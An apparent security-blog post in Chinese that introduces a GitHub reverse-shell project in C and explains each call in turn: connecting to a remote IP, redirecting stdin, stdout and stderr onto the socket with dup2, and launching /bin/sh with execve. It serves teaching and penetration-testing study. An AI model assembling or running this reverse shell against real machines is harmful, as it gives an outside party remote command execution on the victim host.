使用socket()实现基本的C反向Shell并进行详细解释
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/pwnwithlove/C_revshell
项目用途
该项目实现了一个用C语言编写的反向shell,可以用于网络安全领域中的渗透测试和攻击操作。具体作用如下:
- 通过socket()系统调用建立与服务器的连接;
- 使用struct sockaddr_in结构体表示服务器地址,其中sin_family表示地址类型,sin_port表示端口号;
- 使用inet_pton()函数将IP地址从字符串格式转换为二进制格式;
- 使用connect()函数与服务器建立连接;
- 使用dup2()函数将标准输入输出重定向到socket连接上,使得对标准输入的操作可以被发送到服务器上,对标准输出的操作可以从服务器上获取结果;
- 使用execve()函数执行/bin/sh程序,启动一个shell进程;
- 最后使用close()函数关闭socket连接。
该反向shell可以被用于执行命令、浏览文件系统、获取系统权限等操作,因此可能被黑客用于非法入侵操作。
使用 socket() 在 C 中实现反向 Shell
小小免责声明
我是 C 编程的新手,我决定分享我的学习进步。如果有错误,请谅解,并欢迎纠正我以帮助我获得新的知识。(显然仅供学习目的)
socket() 是一个依赖于 <sys/socket.h> 库的系统调用。为了理解它的功能,我们需要了解构成它的结构组件。
struct sockaddr_in
struct sockaddr_in server_addr;
定义类型为 struct sockaddr_in 的变量 server_addr 用于表示服务器地址。创建了内存空间以存储这个结构。它的字段可以填充特定的服务器地址信息:
struct sockaddr_in {
uint8_t sin_len; // 总长度
sa_family_t sin_family; // 地址族:AF_INET
in_port_t sin_port; // 端口号
struct in_addr sin_addr; // IP 地址
unsigned char sin_zero[8]; // 一个 8 字节的零字段
这是在 sockaddr_in 结构中定义的所有变量。我们只使用 sin_family、sin_port 和 sin_addr。sin_family 变量被设置为 AF_INET 参数,以指定套接字将要通信的地址类型,这里是 IPv4。sin_port 变量以参数形式接受端口号,它本身被传递给 htons() 函数(主机到网络短整型)。htons() 将一个无符号短整型从主机字节序转换为网络字节序(大端)。因此,通过使用 AF_INET 为 sin_family,sin_port 为端口号,以及使用 htons() 将端口转换为网络字节序,我们正在配置服务器地址为一个具有指定端口的 IPv4 地址。
inet_pton()
inet_pton(AF_INET, IP, &(server_addr.sin_addr));
inet_pton() 用于将 IPv4 或 IPv6 地址(以基本字符串格式)转换为套接字使用的二进制表示形式。它以 AF(地址族)作为参数,将 IP 地址(目前为字符串格式)转换并存储在 server_addr 结构的 sin_addr 变量中。
connect()
connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));
connect() 建立客户端套接字(sockfd)和服务器套接字(server_addr)之间的连接。(struct sockaddr *)&server_addr 将指针 server_addr 转换为指向 struct sockaddr * 类型的指针。我们从它的手册页中的函数原型中了解到,connect() 期望第二个参数是指向 struct sockaddr 的指针。sizeof(server_addr) 指定了 server_addr 结构的大小(以字节为单位),使 connect() 知道执行连接所需的结构的大小。
dup2()
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
dup2() 将现有文件描述符复制到另一个文件描述符。它以父文件描述符和子文件描述符作为参数。stdin(0)、stdout(1)和 stderr(2)被重定向到 sockfd 的文件描述符。实质上,从 stdin 检索的任何输入都将从 socket 中读取,任何写入到 stdout 和 stderr 的输出都将通过网络连接发送到服务器。
execve()
execve("/bin/sh", 0, 0);
execve() 是一个系统调用,允许从指定的可执行文件(在这种情况下为 /bin/sh)中执行新程序。从它的手册页中,我们了解到 execve() 将第二个参数作为指向参数数组的 char 指针,将第三个参数作为 char 指针,指向程序启动的环境。由于这些参数在我们的代码片段中没有使用,它们被定义为 0。在这种情况下,它执行 /bin/sh 程序,在当前执行环境中启动一个 shell 进程。
close()## 项目介绍
这是一个使用C语言编写的网络编程项目,主要涉及到socket的使用和网络连接的建立与终止。
代码示例
close(sockfd);
close()函数用于关闭文件描述符。在这里,close()被调用以释放分配的资源并终止网络连接。
资源
https://broux.developpez.com/articles/c/sockets/ (完整的法语文档)
https://man.archlinux.org/man/
https://man7.org/linux/man-pages/
特别感谢@h0mbre ˚ʚ♡ɞ˚的贡献。